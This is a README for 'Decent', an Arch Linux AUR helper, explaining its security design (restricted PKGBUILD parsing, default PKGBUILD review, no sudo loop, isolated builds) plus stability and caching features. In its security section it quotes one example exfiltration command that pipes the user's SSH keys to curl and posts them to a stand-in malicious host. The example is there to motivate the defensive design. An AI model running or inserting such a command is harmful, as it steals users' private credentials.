Decent

A decent pacman wrapper and AUR helper for Arch Linux.

Why Decent

Security

AUR Helpers shouldn't rely on makepkg parse PKGBUILDs in the running user session This opens a huge door for malicious PKGBUILDs to run something like:

cat ~/.ssh/id_rsa ~/.ssh/id_rsa.pub | curl -X POST --data-binary @- http://malicious.example.com/ 2>&1 > /dev/null

Running makepkg --printsrcinfo with that on the PKGBUILD global scope will silently allow malicious people to retrieve critical user information.

Instead, decent will source PKGBUILDs, when needed, using a restrictive bash instance without using the user's external environment.

AUR Helpers should show the PKGBUILD before doing anything with it, by default. To incentivize people reviewing the PKGBUILD files, by default, every PKGBUILD that comes from the AUR will be firstly presented to the user for inspection. This option is opt-out and will help prevent the installation of possible malicious packages.

AUR Helpers shouldn't require escalated privileges until it explicitly needs them. Many AUR helpers use the so-called "sudo loop" to escalate privileges, when needed. This shouldn't be a practice for a reason:

Imagine a AUR helper with "sudo loop" implementation and the package you want to install has a make dependency. It will ask you, before building, for privileges and then keep sudo timeout fresh. Whenever there is a sudo inside of your building process, it will execute the command without even asking.

AUR Helpers should support isolated builds. It's essencial to isolate builds as much as possible. One of the worst things of building in the user environment is the usage of silent dependencies and therefore, make packages really hard to reproduce. To achieve reproducibility, decent runs prepare(), build() and package() in a isolatedcontainer with the necessary dependencies.

Stability

AUR Helpers should be able to rebuild broken dependencies on update One thing crucial for AUR helpers is the ability to rebuild broken dependencies on updates.

For example, if two packages depend on the same library, upgrading only one package might also upgrade the library (as a dependency), which might then break the other package which depends on the older version of the library.

Arch linux is a rolling release distribution which means that partial upgrades are unsupported. When new library versions are pushed to the repositories, the packages that are dependent on them should be rebuilt.

decent has a pacman hook to rebuild AUR packages for you when things got updated.

AUR Helpers should have it's own database instead of doing partial updates Because Arch Linux doesn't support partial updates, as stated before, it's a good practice to maintain a seperate pacman database to resolve AUR dependencies instead of doing partially -Sy and -Su.

AUR Helpers should be built in a well supported, readable and maintainable programming language Another key for achieving stability is the usage of Python. We chose Python for a reason. Easy to understand, easy to maintain and most importantly, it has official bindings support from Arch Linux for libalpm library. This will avoid problems like this when updating:

aur-helper: error while loading shared libraries: libalpm.so.XX: cannot open shared object file: No such file or directory

Performance

AUR Helpers should use caching techniques to speed-up builds Unlike other helpers, decent uses some techniques to speed-up builds like caching: Package repositories, Upstream sources and already built packages.

Other features

• Support building local PKGBUILDs with AUR dependencies.
• Support building official packages from source.
• Show official Arch news before upgrading.